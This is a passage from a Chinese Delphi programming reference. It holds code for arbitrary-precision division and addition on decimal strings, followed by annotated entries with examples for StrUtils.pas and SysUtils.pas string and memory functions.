while Pos('0', Result) = 1 do Delete(Result, 1, 1); //排除整数前无效的0

while Copy(Result, Length(Result), 1) = '0' do

Delete(Result, Length(Result), 1); //排除小数后无效的0

if Copy(Result, Length(Result), 1) = '.' then

Delete(Result, Length(Result), 1); //排除无效小数点

if Copy(Result, 1, 1) = '.' then Result := '0' + Result; //处理无0小数情况

if (Result = '') then Result := '0'; //处理空字符情况

if minus then Result:='-'+Result;

end;


无限位数除法
{ Copyright EHomsoft(zhouwei@ehom.net) }

function InfiniteDiv(mNumberA, mNumberB: string;n:integer): string; { 无限位数除法 }

function vDecimal(mNumber: string):integer;

var m,x:integer;

begin

x:=0;

if Pos('.', mNumber) <= 0 then

begin

for m:=Length(mNumber) downto 1 do

begin

if mNumber[m]='0' then x:=x+1 else Break;

end;

Result:=-x;

end

else

Result:=Length(StrRight(mNumber, '.'));

end;

function formatnum2(mNumber: string):string;

begin

Result:=mNumber;

if Pos('.', Result )<= 0 then Result := Result + '.';

Result:=StrLeft(Result,'.')+StrRight(Result,'.');

while Pos('0', Result) = 1 do Delete(Result, 1, 1);

while Copy(Result, Length(Result), 1) = '0' do Delete(Result, Length(Result), 1);

end;

var

I,J,t,v,y,Len: Integer;

TemSub,TemNum: string;

begin

Result := '';

mNumberA:=formatnum(mNumberA);

mNumberB:=formatnum(mNumberB);

v:=vDecimal(mNumberA)-vDecimal(mNumberB);

mNumberA:=formatnum2(mNumberA);

mNumberB:=formatnum2(mNumberB);

if mNumberB='' then

Result:='Err'

else if mNumberA='' then

Result:='0'

else

begin

I:=0;

if Length(mNumberA)>Length(mNumberB) then

Len:=Length(mNumberB)

else

Len:=Length(mNumberA);

if Copy(mNumberA,1,Len)>=Copy(mNumberB,1,Len) then

J:=Length(mNumberB)

else

J:=Length(mNumberB)+1;

for y:=1 to J do

begin

if Length(mNumberA)>=y then

TemSub:=TemSub+mNumberA[y]

else

begin

TemSub:=TemSub+'0';

v:=v+1;

end;

end;

while I<=n do

begin

if TemSub[1]>mNumberB[1] then

t:=StrToInt(TemSub[1]) Div StrToInt(mNumberB[1])

else

t:=StrToInt(TemSub[1]+TemSub[2]) Div StrToInt(mNumberB[1]);

TemNum:=InfiniteMult(mNumberB,IntToStr(t));

while (Length(TemNum)>Length(TemSub)) or ((Length(TemNum)=Length(TemSub))and(TemNum>TemSub)) do

begin

t:=t-1;

TemNum:=InfiniteMult(mNumberB,IntToStr(t));

end;

Result:=Result+IntToStr(t);

I:=I+1;

TemSub:=InfiniteSub(TemSub,TemNum);

if (TemSub='0') and (Length(mNumberA)<J) then

begin

v:=v+1;

Break;

end;

if TemSub='0' then TemSub:='';

J:=J+1;

if Length(mNumberA)>=J then

begin

TemSub:=TemSub+mNumberA[J];

end

else

begin

TemSub:=TemSub+'0';

v:=v+1;

end;

end;

if Length(mNumberA)>=J then

v:=v-(Length(mNumberA)-J)-1

else

v:=v-1;

while Copy(Result, Length(Result), 1) = '0' do

begin

v:=v-1;

Delete(Result, Length(Result), 1);

end;

if v>Length(Result) then

Result:='.'+DupeString('0',v-Length(Result)) + Result

else if v>0 then

Insert('.', Result, Length(Result) - v +1);

if v<0 then Result:=Result+DupeString('0',0-v);

if Copy(Result, 1, 1)='.' then Result:='0'+Result;

end;

end; { InfiniteDiv}


无限位数加法
function InfiniteAdd(mNumberA, mNumberB: string): string; { 无限位数加法 }

var

I: Integer;

T: Integer;

begin

Result := '';

if Pos('.', mNumberA) <= 0 then mNumberA := mNumberA + '.'; //没有有小数点补小数点

if Pos('.', mNumberB) <= 0 then mNumberB := mNumberB + '.'; //没有有小数点补小数点

I := Max(Length(StrLeft(mNumberA, '.')), Length(StrLeft(mNumberB, '.'))); //整数部分最大长度

mNumberA := DupeString('0', I - Length(StrLeft(mNumberA, '.'))) + mNumberA; //整数前补0

mNumberB := DupeString('0', I - Length(StrLeft(mNumberB, '.'))) + mNumberB; //整数前补0

T := Max(Length(StrRight(mNumberA, '.')), Length(StrRight(mNumberB, '.'))); //小数部分最大长度

mNumberA := mNumberA + DupeString('0', T - Length(StrRight(mNumberA, '.'))); //小数后补0

mNumberB := mNumberB + DupeString('0', T - Length(StrRight(mNumberB, '.'))); //小数后补0

I := I + T + 1; //计算总长度//小数长度和整数长度加上小数点长度

T := 0; //进位数初始化

for I := I downto 1 do //从后向前扫描

if [mNumberA[I], mNumberB[I]] <> ['.'] then begin //不是小数点时

T := StrToIntDef(mNumberA[I], 0) + T; //累加当前数位

T := StrToIntDef(mNumberB[I], 0) + T; //累加当前数位

Result := IntToStr(T mod 10) + Result; //计算当前数位上的数字

T := T div 10; //计算进位数

end else Result := '.' + Result; //加上小数点

if T <> 0 then Result := IntToStr(T mod 10) + Result; //处理进位数

while Pos('0', Result) = 1 do Delete(Result, 1, 1); //排除整数前无效的0

while Copy(Result, Length(Result), 1) = '0' do

Delete(Result, Length(Result), 1); //排除小数后无效的0

if Copy(Result, Length(Result), 1) = '.' then

Delete(Result, Length(Result), 1); //排除无效小数点

if Copy(Result, 1, 1) = '.' then Result := '0' + Result; //处理无0小数情况

if (Result = '') then Result := '0'; //处理空字符情况

end; { InfiniteAdd }


Delphi6函数大全-StrUtils.pas
(*//

标题:<<Delphi6函数大全-StrUtils.pas>>

格式:text

大小:10947

制作:Zswang

日期:2002-01-25

//*)

首部 function AnsiResemblesText(const AText, AOther: string): Boolean; $[StrUtils.pas

功能 返回两个字符串是否相似

说明 ANSI(American National Standards Institute)美国国家标准协会;不区分大小写

参考 function StrUtils.SoundexProc; var StrUtils.AnsiResemblesProc

例子 CheckBox1.Checked := AnsiResemblesText(Edit1.Text, Edit2.Text);

━━━━━━━━━━━━━━━━━━━━━

首部 function AnsiContainsText(const AText, ASubText: string): Boolean; $[StrUtils.pas

功能 返回字符串AText是否包含子串ASubText

说明 不区分大小写

参考 function StrUtils.AnsiUppercase; function StrUtils.AnsiPos

例子 CheckBox1.Checked := AnsiContainsText(Edit1.Text, Edit2.Text);

━━━━━━━━━━━━━━━━━━━━━

首部 function AnsiStartsText(const ASubText, AText: string): Boolean; $[StrUtils.pas

功能 返回字符串AText是否以子串ASubText开头

说明 不区分大小写

参考 function Windows.CompareString

例子 CheckBox1.Checked := AnsiStartsText(Edit1.Text, Edit2.Text);

━━━━━━━━━━━━━━━━━━━━━

首部 function AnsiEndsText(const ASubText, AText: string): Boolean; $[StrUtils.pas

功能 返回字符串AText是否以子串ASubText结尾

说明 不区分大小写

参考 function Windows.CompareString

例子 CheckBox1.Checked := AnsiEndsText(Edit1.Text, Edit2.Text);

━━━━━━━━━━━━━━━━━━━━━

首部 function AnsiReplaceText(const AText, AFromText, AToText: string): string; $[StrUtils.pas

功能 返回字符串AText中用子串AFromText替换成子串AToText的结果

说明 不区分大小写

参考 function SysUtils.StringReplace; type SysUtils.TReplaceFlags

例子 Edit4.Text := AnsiReplaceText(Edit1.Text, Edit2.Text, Edit3.Text);

━━━━━━━━━━━━━━━━━━━━━

首部 function AnsiMatchText(const AText: string; const AValues: array of string): Boolean; $[StrUtils.pas

功能 返回字符串数组AValues中是否包含字符串AText

说明 不区分大小写

参考 function StrUtils.AnsiIndexText

例子 CheckBox1.Checked := AnsiMatchText(Edit1.Text, ['a1', 'a2', 'a3', 'a4']);

━━━━━━━━━━━━━━━━━━━━━

首部 function AnsiIndexText(const AText: string; const AValues: array of string): Integer; $[StrUtils.pas

功能 返回字符串AText在字符串数组AValues中的位置

说明 不区分大小写;如果不包含则返回-1

参考 function SysUtils.AnsiSameText

例子 SpinEdit1.Value := AnsiIndexText(Edit1.Text, ['a1', 'a2', 'a3', 'a4']);

━━━━━━━━━━━━━━━━━━━━━

首部 function AnsiContainsStr(const AText, ASubText: string): Boolean; $[StrUtils.pas

功能 返回字符串AText是否包含子串ASubText

说明 区分大小写

参考 function StrUtils.AnsiPos

例子 CheckBox1.Checked := AnsiContainsStr(Edit1.Text, Edit2.Text);

━━━━━━━━━━━━━━━━━━━━━

首部 function AnsiStartsStr(const ASubText, AText: string): Boolean; $[StrUtils.pas

功能 返回字符串AText是否以子串ASubText开头

说明 区分大小写

参考 function SysUtils.AnsiSameStr

例子 CheckBox1.Checked := AnsiStartsStr(Edit1.Text, Edit2.Text);

━━━━━━━━━━━━━━━━━━━━━

首部 function AnsiEndsStr(const ASubText, AText: string): Boolean; $[StrUtils.pas

功能 返回字符串AText是否以子串ASubText结尾

说明 区分大小写

参考 function SysUtils.AnsiSameStr

例子 CheckBox1.Checked := AnsiEndsStr(Edit1.Text, Edit2.Text);

━━━━━━━━━━━━━━━━━━━━━

首部 function AnsiReplaceStr(const AText, AFromText, AToText: string): string; $[StrUtils.pas

功能 返回字符串AText中用子串AFromText替换成子串AToText的结果

说明 区分大小写

参考 function SysUtils.StringReplace; type SysUtils.TReplaceFlags

例子 Edit4.Text := AnsiReplaceStr(Edit1.Text, Edit2.Text, Edit3.Text);

━━━━━━━━━━━━━━━━━━━━━

首部 function AnsiMatchStr(const AText: string; const AValues: array of string): Boolean; $[StrUtils.pas

功能 返回字符串数组AValues中是否包含字符串AText

说明 区分大小写

参考 function StrUtils.AnsiIndexStr

例子 CheckBox1.Checked := AnsiMatchStr(Edit1.Text, ['a1', 'a2', 'a3', 'a4']);

━━━━━━━━━━━━━━━━━━━━━

首部 function AnsiIndexStr(const AText: string; const AValues: array of string): Integer; $[StrUtils.pas

功能 返回字符串AText在字符串数组AValues中的位置

说明 区分大小写

参考 function SysUtils.AnsiSameStr

例子 SpinEdit1.Value := AnsiIndexStr(Edit1.Text, ['a1', 'a2', 'a3', 'a4']);

━━━━━━━━━━━━━━━━━━━━━

首部 function DupeString(const AText: string; ACount: Integer): string; $[StrUtils.pas

功能 返回字符串AText的ACount个复本

说明 当ACount为0时返回''

参考 function System.SetLength

例子 Edit3.Text := DupeString(Edit1.Text, SpinEdit1.Value);

━━━━━━━━━━━━━━━━━━━━━

首部 function ReverseString(const AText: string): string; $[StrUtils.pas

功能 返回字符串AText的反序

说明 ReverseString('1234') = '4321'

参考 function System.SetLength

例子 Edit3.Text := ReverseString(Edit1.Text);

━━━━━━━━━━━━━━━━━━━━━

首部 function StuffString(const AText: string; AStart, ALength: Cardinal; const ASubText: string): string; $[StrUtils.pas

功能 返回嵌套字符串

说明 AStart:嵌套开始位置;ALength:嵌套长度;StuffString('abcd', 2, 0, '12') = 'a12bcd'

参考 function System.Copy

例子 Edit3.Text := StuffString(Edit1.Text, SpinEdit1.Value, SpinEdit2.Value, Edit2.Text);

━━━━━━━━━━━━━━━━━━━━━

首部 function RandomFrom(const AValues: array of string): string; overload; $[StrUtils.pas

功能 随机返回字符串数组AValues中的一个元素

说明 之前建议执行Randomize

参考 function System.Random

例子 Randomize; Edit3.Text := RandomFrom(['a1', 'a2', 'a3', 'a4']);

━━━━━━━━━━━━━━━━━━━━━

首部 function IfThen(AValue: Boolean; const ATrue: string; AFalse: string = ''): string; overload; $[StrUtils.pas

功能 返回指定的逻辑字符串

说明 IfThen(True, '是', '否') = '是';IfThen(False, '是', '否') = '否'

参考 <NULL>

例子 Edit3.Text := IfThen(CheckBox1.Checked, Edit1.Text, Edit2.Text);

━━━━━━━━━━━━━━━━━━━━━

首部 function LeftStr(const AText: string; const ACount: Integer): string; $[StrUtils.pas

功能 返回字符串AText左边的ACount个字符

说明 LeftStr('123456', 3) = '123'

参考 function System.Copy

例子 Edit3.Text := LeftStr(Edit1.Text, SpinEdit1.Value);

━━━━━━━━━━━━━━━━━━━━━

首部 function RightStr(const AText: string; const ACount: Integer): string; $[StrUtils.pas

功能 返回字符串AText右边的ACount个字符

说明 RightStr('123456', 3) = '456'

参考 function System.Copy

例子 Edit3.Text := RightStr(Edit1.Text, SpinEdit1.Value);

━━━━━━━━━━━━━━━━━━━━━

首部 function MidStr(const AText: string; const AStart, ACount: Integer): string; $[StrUtils.pas

功能 返回字符串AText从AStart开始的ACount个字符

说明 其实就是Copy

参考 function System.Copy

例子 Edit3.Text := MidStr(Edit1.Text, SpinEdit1.Value, SpinEdit2.Value);

━━━━━━━━━━━━━━━━━━━━━

首部 function SearchBuf(Buf: PChar; BufLen: Integer; SelStart, SelLength: Integer; SearchString: String; Options: TStringSearchOptions = [soDown]): PChar; $[StrUtils.pas

功能 返回第一个搜索到的指针位置

说明 这函数常用于文本中搜索字符串

参考 <NULL>

例子

///////Begin SearchBuf

function SearchEdit(EditControl: TCustomEdit; const SearchString: String;

SearchOptions: TStringSearchOptions; FindFirst: Boolean = False): Boolean;

var

Buffer, P: PChar;

Size: Word;

begin

Result := False;

if (Length(SearchString) = 0) then Exit;

Size := EditControl.GetTextLen;

if (Size = 0) then Exit;

Buffer := StrAlloc(Size + 1);

try

EditControl.GetTextBuf(Buffer, Size + 1);

P := SearchBuf(Buffer, Size, EditControl.SelStart, EditControl.SelLength,

SearchString, SearchOptions);

if P <> nil then begin

EditControl.SelStart := P - Buffer;

EditControl.SelLength := Length(SearchString);

Result := True;

end;

finally

StrDispose(Buffer);

end;

end;

procedure TForm1.Button1Click(Sender: TObject);

var

SearchOptions: TStringSearchOptions;

begin

SearchOptions := [];

if CheckBox1.Checked then

Include(SearchOptions, soDown);

if CheckBox2.Checked then

Include(SearchOptions, soMatchCase);

if CheckBox3.Checked then

Include(SearchOptions, soWholeWord);

SearchEdit(Memo1, Edit1.Text, SearchOptions);

Memo1.SetFocus;

end;

///////End SearchBuf

━━━━━━━━━━━━━━━━━━━━━

首部 function Soundex(const AText: string; ALength: TSoundexLength = 4): string; $[StrUtils.pas

功能 返回探测字符串

说明 根据探测法(Soundex)可以找到相进的字符串;http://www.nara.gov/genealogy/coding.html

参考 <NULL>

例子 Edit2.Text := Soundex(Edit1.Text, SpinEdit1.Value);

━━━━━━━━━━━━━━━━━━━━━

首部 function SoundexInt(const AText: string; ALength: TSoundexIntLength = 4): Integer; $[StrUtils.pas

功能 返回探测整数

说明 ALength的值越大解码准确率越高

参考 <NULL>

例子 SpinEdit2.Value := SoundexInt(Edit1.Text, SpinEdit1.Value);

━━━━━━━━━━━━━━━━━━━━━

首部 function DecodeSoundexInt(AValue: Integer): string; $[StrUtils.pas

功能 返回探测整数的解码

说明 DecodeSoundexInt(SoundexInt('hello')) 相当于 Soundex('hello')

参考 <NULL>

例子 Edit2.Text := DecodeSoundexInt(SpinEdit2.Value);

━━━━━━━━━━━━━━━━━━━━━

首部 function SoundexWord(const AText: string): Word; $[StrUtils.pas

功能 返回探测文字数值

说明 没有参数ALength已经固定为4

参考 <NULL>

例子 SpinEdit2.Value := SoundexWord(Edit1.Text);

━━━━━━━━━━━━━━━━━━━━━

首部 function DecodeSoundexWord(AValue: Word): string; $[StrUtils.pas

功能 返回探测文字数值的解码

说明 DecodeSoundexWord(SoundexWord('hello')) 相当于 Soundex('hello')

参考 <NULL>

例子 Edit2.Text := DecodeSoundexWord(SpinEdit2.Value);

━━━━━━━━━━━━━━━━━━━━━

首部 function SoundexSimilar(const AText, AOther: string; ALength: TSoundexLength = 4): Boolean; $[StrUtils.pas

功能 返回两个字符串的探测字符串是否相同

说明 Result := Soundex(AText, ALength) = Soundex(AOther, ALength)

参考 <NULL>

例子 CheckBox1.Checked := SoundexSimilar(Edit1.Text, Edit2.Text, SpinEdit1.Value);

━━━━━━━━━━━━━━━━━━━━━

首部 function SoundexCompare(const AText, AOther: string; ALength: TSoundexLength = 4): Integer; $[StrUtils.pas

功能 返回比较两个字符串的探测字符串的结果

说明 Result := AnsiCompareStr(Soundex(AText, ALength), Soundex(AOther, ALength))

参考 function SysUtils.AnsiCompareStr

例子 SpinEdit2.Value := SoundexCompare(Edit1.Text, Edit2.Text, SpinEdit1.Value);

━━━━━━━━━━━━━━━━━━━━━

首部 function SoundexProc(const AText, AOther: string): Boolean; $[StrUtils.pas

功能 调用SoundexSimilar返回两个字符串的探测字符串是否相同

说明 系统变量AnsiResemblesProc的默认值

参考 function StrUtils.AnsiResemblesText

例子 [var AnsiResemblesProc: TCompareTextProc = SoundexProc;]

━━━━━━━━━━━━━━━━━━━━━


Delphi6函数大全-SysUtils.pas
(*//

标题:<<Delphi6函数大全-SysUtils.pas>>

格式:text

大小:92671

制作:Zswang

日期:2002-01-25

//*)

首部 function Languages: TLanguages; $[SysUtils.pas

功能 返回系统语言对象

说明 通过此函数可以得到系统的语言环境

参考 type SysUtils.TLanguages

例子

///////Begin Languages

procedure TForm1.Button1Click(Sender: TObject);

var

I: Integer;

begin

Memo1.Clear;

for I := 0 to Languages.Count - 1 do

Memo1.Lines.Add(Languages.Name[I]);

end;

///////End Languages

━━━━━━━━━━━━━━━━━━━━━

首部 function AllocMem(Size: Cardinal): Pointer; $[SysUtils.pas

功能 返回一个指定大小Size的内存块

说明 配合用FreeMem释放资源

参考 function System.GetMem

例子

///////Begin AllocMem

procedure TForm1.Button1Click(Sender: TObject);

var

I: PInteger;

begin

I := AllocMem(SizeOf(Integer));

I^ := 100;

Edit1.Text := IntToStr(I^);

FreeMem(I, SizeOf(Integer));

end;

///////End AllocMem

━━━━━━━━━━━━━━━━━━━━━

首部 procedure AddExitProc(Proc: TProcedure); $[SysUtils.pas

功能 添加一个退出处理的过程

说明 建议用finalization部分取代

参考 <NULL>

例子

////////Begin AddExitProc

uses

ShellApi;

procedure ExitProc;

begin

ShellExecute(0, 'Open', 'Calc.exe', nil, nil, SW_SHOW);

end;

procedure TForm1.Button1Click(Sender: TObject);

begin

AddExitProc(ExitProc);

end;

////////End AddExitProc

━━━━━━━━━━━━━━━━━━━━━

首部 function NewStr(const S: string): PString; deprecated; $[SysUtils.pas

功能 返回一个新的字符串指针地址

说明 字符串S为空时返回NullStr

参考 procedure System.New

例子

////////Begin NewStr,DisposeStr

procedure TForm1.Button1Click(Sender: TObject);

var

P: PString;

begin

P := NewStr(Edit1.Text);

Edit2.Text := P^;

DisposeStr(P);

end;

////////End NewStr,DisposeStr

━━━━━━━━━━━━━━━━━━━━━

首部 procedure DisposeStr(P: PString); deprecated; $[SysUtils.pas

功能 释放字符串指针P资源

说明 配合函数NewStr使用

参考 procedure System.Dispose

例子 <如上参见,如下参见>

━━━━━━━━━━━━━━━━━━━━━

首部 procedure AssignStr(var P: PString; const S: string); deprecated; $[SysUtils.pas

功能 将字符串S更新给字符串指针P

说明 更新值时会释放以前字符串指针的资源

参考 function SysUtils.NewStr;function SysUtils.DisposeStr

例子

////////Begin AssignStr

procedure TForm1.Button1Click(Sender: TObject);

var

P: PString;

begin

P := nil;

AssignStr(P, Edit1.Text);

Edit2.Text := P^;

DisposeStr(P);

end;

////////End AssignStr

━━━━━━━━━━━━━━━━━━━━━

首部 procedure AppendStr(var Dest: string; const S: string); deprecated; $[SysUtils.pas

功能 在字符串Dest后追加字符串S

说明 相当于Dest := Dest + S;Delphi6已经不建议使用

参考 <NULL>

例子

////////Begin AppendStr

procedure TForm1.Button1Click(Sender: TObject);

var

S: string;

begin

S := Edit2.Text;

AppendStr(S, Edit1.Text);

Edit2.Text := S;

end;

////////End AppendStr

━━━━━━━━━━━━━━━━━━━━━

首部 function UpperCase(const S: string): string; $[SysUtils.pas

功能 返回字符串S的大写形式

说明 非小写字符不处理

参考 procedure System.SetLength

例子 Edit2.Text := UpperCase(Edit1.Text);

━━━━━━━━━━━━━━━━━━━━━

首部 function LowerCase(const S: string): string; $[SysUtils.pas

功能 返回字符串S的小写形式

说明 非大写字符不处理

参考 procedure System.SetLength

例子 Edit2.Text := LowerCase(Edit1.Text);

━━━━━━━━━━━━━━━━━━━━━

首部 function CompareStr(const S1, S2: string): Integer; $[SysUtils.pas

功能 返回比较两个字符

说明 当S1>S2返回值>0;当S1<S2返回值<0;当S1=S2返回值=0;区分大小写

参考 <NULL>

例子 SpinEdit1.Value := CompareStr(Edit1.Text, Edit2.Text);

━━━━━━━━━━━━━━━━━━━━━

首部 function CompareMem(P1, P2: Pointer; Length: Integer): Boolean; assembler; $[SysUtils.pas

功能 返回比较两个内存指针

说明 CompareMem(PChar('12a'), PChar('12c'), 2)=True;CompareMem(PChar('12a'), PChar('12c'), 3)=False

参考 <NULL>

例子 CheckBox1.Checked := CompareMem(Self, Form1, 8);

━━━━━━━━━━━━━━━━━━━━━

首部 function CompareText(const S1, S2: string): Integer; $[SysUtils.pas

功能 返回比较两个字符串

说明 不区分大小写

参考 <NULL>

例子 SpinEdit1.Value := CompareText(Edit1.Text, Edit2.Text);

━━━━━━━━━━━━━━━━━━━━━

首部 function SameText(const S1, S2: string): Boolean; $[SysUtils.pas

功能 返回两个字符串是否相等

说明 不区分大小写

参考 <NULL>

例子 CheckBox1.Checked := SameText(Edit1.Text, Edit2.Text);

━━━━━━━━━━━━━━━━━━━━━

首部 function AnsiUpperCase(const S: string): string; $[SysUtils.pas

功能 返回字符串S的大写形式

说明 ANSI(American National Standards Institute)美国国家标准协会;非小写的字符不变

参考 function Windows.CharUpperBuff

例子 Edit2.Text := AnsiUpperCase(Edit1.Text);

━━━━━━━━━━━━━━━━━━━━━

首部 function AnsiLowerCase(const S: string): string; $[SysUtils.pas

功能 返回字符串S的小写形式

说明 非大写字符不处理

参考 function Windows.CharLowerBuff

例子 Edit2.Text := AnsiLowerCase(Edit1.Text);

━━━━━━━━━━━━━━━━━━━━━

首部 function AnsiCompareStr(const S1, S2: string): Integer; $[SysUtils.pas

功能 反回比较两个字符串

说明 当S1>S2返回值>0;当S1<S2返回值<0;当S1=S2返回值=0;区分大小写

参考 function Windows.CompareString

例子 SpinEdit1.Value := AnsiCompareStr(Edit1.Text, Edit2.Text);

━━━━━━━━━━━━━━━━━━━━━

首部 function AnsiSameStr(const S1, S2: string): Boolean; $[SysUtils.pas

功能 返回两个字符串是否相等

说明 区分大小写

参考 function SysUtils.AnsiCompareStr

例子 CheckBox1.Checked := AnsiSameStr(Edit1.Text, Edit2.Text);

━━━━━━━━━━━━━━━━━━━━━

首部 function AnsiCompareText(const S1, S2: string): Integer; $[SysUtils.pas

功能 反回比较两个字符串

说明 当S1>S2返回值>0;当S1<S2返回值<0;当S1=S2返回值=0;不区分大小写

参考 function Windows.CompareString

例子 SpinEdit1.Value := AnsiCompareText(Edit1.Text, Edit2.Text);

━━━━━━━━━━━━━━━━━━━━━

首部 function AnsiSameText(const S1, S2: string): Boolean; $[SysUtils.pas

功能 返回两个字符串是否相等

说明 不区分大小写

参考 function SysUtils.AnsiCompareText

例子 CheckBox1.Checked := AnsiSameText(Edit1.Text, Edit2.Text);

━━━━━━━━━━━━━━━━━━━━━

首部 function AnsiStrComp(S1, S2: PChar): Integer; $[SysUtils.pas

功能 返回比较两个指针字符串

说明 当S1>S2返回值>0;当S1<S2返回值<0;当S1=S2返回值=0;区分大小写

参考 function System.CompareString

例子 SpinEdit1.Value := AnsiStrComp(PChar(Edit1.Text), PChar(Edit2.Text))

━━━━━━━━━━━━━━━━━━━━━

首部 function AnsiStrIComp(S1, S2: PChar): Integer; $[SysUtils.pas

功能 返回比较两个指针字符串

说明 当S1>S2返回值>0;当S1<S2返回值<0;当S1=S2返回值=0;不区分大小写;Ignore(忽略)

参考 function Windows.CompareString

例子 SpinEdit1.Value := AnsiStrIComp(PChar(Edit1.Text), PChar(Edit2.Text))

━━━━━━━━━━━━━━━━━━━━━

首部 function AnsiStrLComp(S1, S2: PChar; MaxLen: Cardinal): Integer; $[SysUtils.pas

功能 返回比较两个指针字符串指定长度

说明 当S1>S2返回值>0;当S1<S2返回值<0;当S1=S2返回值=0;区分大小写;Length(长度)

参考 function Windows.CompareString

例子 SpinEdit1.Value := AnsiStrLComp(PChar(Edit1.Text), PChar(Edit2.Text), SpinEdit2.Value)

━━━━━━━━━━━━━━━━━━━━━

首部 function AnsiStrLIComp(S1, S2: PChar; MaxLen: Cardinal): Integer; $[SysUtils.pas

功能 返回比较两个指针字符串指定长度

说明 当S1>S2返回值>0;当S1<S2返回值<0;当S1=S2返回值=0;不区分大小写

参考 function Windows.CompareString

例子 SpinEdit1.Value := AnsiStrLIComp(PChar(Edit1.Text), PChar(Edit2.Text), SpinEdit2.Value)

━━━━━━━━━━━━━━━━━━━━━

首部 function AnsiStrLower(Str: PChar): PChar; $[SysUtils.pas

功能 返回指针字符串小写形式

说明 非大写字符不处理

参考 function Windows.CharLower

例子 Edit2.Text := AnsiStrLower(PChar(Edit1.Text));

━━━━━━━━━━━━━━━━━━━━━

首部 function AnsiStrUpper(Str: PChar): PChar; $[SysUtils.pas

功能 返回指针字符串大写形式

说明 非小写字符不处理

参考 function Windows.CharUpper

例子 Edit2.Text := AnsiStrUpper(PChar(Edit1.Text));

━━━━━━━━━━━━━━━━━━━━━

首部 function AnsiLastChar(const S: string): PChar; $[SysUtils.pas

功能 返回字符串S的最后一个指针字符

说明 当字符串S为空串则返回空指针

参考 function SysUtils.ByteType

例子 Edit2.Text := AnsiLastChar(Edit1.Text);

━━━━━━━━━━━━━━━━━━━━━

首部 function AnsiStrLastChar(P: PChar): PChar; $[SysUtils.pas

功能 返回指针字符串P的最后一个指针字符

说明 当字符串P为空空指针则返回空指针

参考 function SysUtils.ByteType

例子 Edit2.Text := AnsiLastChar(PChar(Edit1.Text));

━━━━━━━━━━━━━━━━━━━━━

首部 function WideUpperCase(const S: WideString): WideString; $[SysUtils.pas

功能 返回双字节字符串的大写形式

说明 WideChar双字节字符

参考 function Windows.CharUpperBuffW

例子 Edit2.Text := WideUpperCase(Edit1.Text);

━━━━━━━━━━━━━━━━━━━━━

首部 function WideLowerCase(const S: WideString): WideString; $[SysUtils.pas

功能 返回双字节字符串的小写形式

说明 我怎么就测试不出来呢

参考 function Windows.CharLowerBuffW

例子 Edit2.Text := WideLowerCase(Edit1.Text);

━━━━━━━━━━━━━━━━━━━━━

首部 function WideCompareStr(const S1, S2: WideString): Integer; $[SysUtils.pas

功能 返回比较两个双字节字符串

说明 当S1>S2返回值>0;当S1<S2返回值<0;当S1=S2返回值=0;区分大小写

参考 function Windows.CompareStringW

例子 SpinEdit1.Value := WideCompareStr(Edit1.Text, Edit2.Text);

━━━━━━━━━━━━━━━━━━━━━

首部 function WideSameStr(const S1, S2: WideString): Boolean; $[SysUtils.pas

功能 返回两个双字节字符串是否相同

说明 区分大小写

参考 function SysUtils.WideCompareStr

例子 CheckBox1.Checked := WideSameStr(Edit1.Text, Edit2.Text);

━━━━━━━━━━━━━━━━━━━━━

首部 function WideCompareText(const S1, S2: WideString): Integer; $[SysUtils.pas

功能 返回比较两个双字节字符串

说明 当S1>S2返回值>0;当S1<S2返回值<0;当S1=S2返回值=0;不区分大小写

参考 function Windows.CompareStringW

例子 SpinEdit1.Value := WideCompareText(Edit1.Text, Edit2.Text);

━━━━━━━━━━━━━━━━━━━━━

首部 function WideSameText(const S1, S2: WideString): Boolean; $[SysUtils.pas

功能 返回两个双字节字符串是否相同

说明 不区分大小写

参考 function SysUtils.WideCompareText

例子 CheckBox1.Checked := WideSameText(Edit1.Text, Edit2.Text);

━━━━━━━━━━━━━━━━━━━━━

首部 function Trim(const S: string): string; overload; $[SysUtils.pas

首部 function Trim(const S: WideString): WideString; overload; $[SysUtils.pas

功能 返回除去字符串S左右不可见字符

说明 小于#32的字符看作不可见字符

参考 function System.Copy

例子 Edit2.Text := Trim(Edit1.Text);

━━━━━━━━━━━━━━━━━━━━━

首部 function TrimLeft(const S: string): string; overload; $[SysUtils.pas

首部 function TrimLeft(const S: WideString): WideString; overload; $[SysUtils.pas

功能 返回除去字符串S左边不可见字符

说明 小于#32的字符看作不可见字符

参考 function System.Copy

例子 Edit2.Text := TrimLeft(Edit1.Text);

━━━━━━━━━━━━━━━━━━━━━

首部 function TrimRight(const S: string): string; overload; $[SysUtils.pas

首部 function TrimRight(const S: WideString): WideString; overload; $[SysUtils.pas

功能 返回除去字符串S右边不可见字符

说明 小于#32的字符看作不可见字符

参考 function System.Copy

例子 Edit2.Text := TrimRight(Edit1.Text);

━━━━━━━━━━━━━━━━━━━━━

首部 function QuotedStr(const S: string): string; $[SysUtils.pas

功能 返回字符串S在pascal中的表现形式

说明 单引号中的一个单引号将转成两个

参考 procedure System.Insert

例子 Edit2.Text := QuotedStr(Edit1.Text);

━━━━━━━━━━━━━━━━━━━━━

首部 function AnsiQuotedStr(const S: string; Quote: Char): string; $[SysUtils.pas

功能 返回字符串S以字符Quote为引号的表现形式

说明 AnsiQuotedStr('hello"world', '@')='@hello"world@';AnsiQuotedStr('hello"world', '"')='"hello""world"'

参考 function SysUtils.AnsiStrScan

例子 Edit2.Text := AnsiQuotedStr(Edit1.Text, '"');

━━━━━━━━━━━━━━━━━━━━━

首部 function AnsiExtractQuotedStr(var Src: PChar; Quote: Char): string; $[SysUtils.pas

功能 返回以字符Quote为引号的表现形式原形

说明 表现形式非法时Src不变否则为空

参考 function SysUtils.AnsiStrScan

例子

///////Begin AnsiExtractQuotedStr

procedure TForm1.Button1Click(Sender: TObject);

var

P: PChar;

begin

P := PChar(Edit1.Text);

Edit2.Text := AnsiExtractQuotedStr(P, '"');

Edit3.Text := P;

end;

///////End AnsiExtractQuotedStr

━━━━━━━━━━━━━━━━━━━━━

首部 function AnsiDequotedStr(const S: string; AQuote: Char): string; $[SysUtils.pas

功能 返回以字符AQuote为引号的表现形式原形

说明 表现形式非法时则返回S

参考 function SysUtils.AnsiExtractQuotedStr

例子 Edit2.Text := AnsiDequotedStr(Edit1.Text, '"');

━━━━━━━━━━━━━━━━━━━━━

首部 function AdjustLineBreaks(const S: string; Style: TTextLineBreakStyle = {$IFDEF LINUX} tlbsLF {$ENDIF} {$IFDEF MSWINDOWS} tlbsCRLF {$ENDIF}): string; $[SysUtils.pas

功能 返回将给定字符串的行分隔符调整为CR/LF序列

说明 AdjustLineBreaks('1'#13'2'#13)='1'#13#10'2'#13#10;AdjustLineBreaks('1'#10'2'#10)='1'#13#10'2'#13#10

